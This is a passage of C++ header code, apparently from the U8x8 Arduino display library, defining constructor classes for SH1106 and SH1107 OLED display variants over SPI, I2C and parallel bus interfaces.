U8X8_SH1106_72X40_WISE_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_72X40_WISE_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_72X40_WISE_6800 : public U8X8 { public: U8X8_SH1106_72X40_WISE_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_72X40_WISE_8080 : public U8X8 { public: U8X8_SH1106_72X40_WISE_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_72X40_WISE_SW_I2C : public U8X8 { public: U8X8_SH1106_72X40_WISE_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_72X40_WISE_HW_I2C : public U8X8 { public: U8X8_SH1106_72X40_WISE_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_72X40_WISE_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_72X40_WISE_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_72x40_wise, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1106_64X32_4W_SW_SPI : public U8X8 { public: U8X8_SH1106_64X32_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1106_64X32_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_64X32_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_64X32_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1106_64X32_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1106_64X32_3W_SW_SPI : public U8X8 { public: U8X8_SH1106_64X32_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1106_64X32_3W_HW_SPI : public U8X8 { public: U8X8_SH1106_64X32_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1106_64X32_6800 : public U8X8 { public: U8X8_SH1106_64X32_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_64X32_8080 : public U8X8 { public: U8X8_SH1106_64X32_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1106_64X32_SW_I2C : public U8X8 { public: U8X8_SH1106_64X32_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1106_64X32_HW_I2C : public U8X8 { public: U8X8_SH1106_64X32_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1106_64X32_2ND_HW_I2C : public U8X8 { public: U8X8_SH1106_64X32_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1106_64x32, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_64X128_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_64X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_64X128_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_64X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_64X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_64X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_64X128_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_64X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_64X128_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_64X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_64X128_6800 : public U8X8 { public: U8X8_SH1107_64X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_64X128_8080 : public U8X8 { public: U8X8_SH1107_64X128_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_64X128_SW_I2C : public U8X8 { public: U8X8_SH1107_64X128_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_64X128_HW_I2C : public U8X8 { public: U8X8_SH1107_64X128_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_64X128_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_64X128_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_64x128, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_SEEED_96X96_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_SEEED_96X96_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_SEEED_96X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_SEEED_96X96_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_SEEED_96X96_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_SEEED_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_SEEED_96X96_6800 : public U8X8 { public: U8X8_SH1107_SEEED_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_SEEED_96X96_8080 : public U8X8 { public: U8X8_SH1107_SEEED_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_6800 : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_8080 : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_SEEED_96X96_SW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_SEEED_96X96_HW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_SEEED_96X96_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_SEEED_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_seeed_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_SW_I2C : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_HW_I2C : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_HW_I2C : public U8X8 { public: U8X8_SH1107_HJR_OEL1M0201_96X96_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_hjr_oel1m0201_96x96, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8X8_SH1107_128X80_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_128X80_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_128X80_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X80_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_128X80_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X80_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_128X80_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_128X80_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_128X80_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_128X80_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_128X80_6800 : public U8X8 { public: U8X8_SH1107_128X80_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_128X80_8080 : public U8X8 { public: U8X8_SH1107_128X80_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_128x80, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8X8_SH1107_TK078F288_80X128_4W_SW_SPI : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8X8_SH1107_TK078F288_80X128_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_TK078F288_80X128_2ND_4W_HW_SPI : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8X8_SH1107_TK078F288_80X128_3W_SW_SPI : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8X8_SH1107_TK078F288_80X128_3W_HW_SPI : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), u8x8_d_sh1107_tk078f288_80x128, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8X8_SH1107_TK078F288_80X128_6800 : public U8X8 { public: U8X8_SH1107_TK078F288_80X128_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() { u8x8_Setup(getU8x8(), 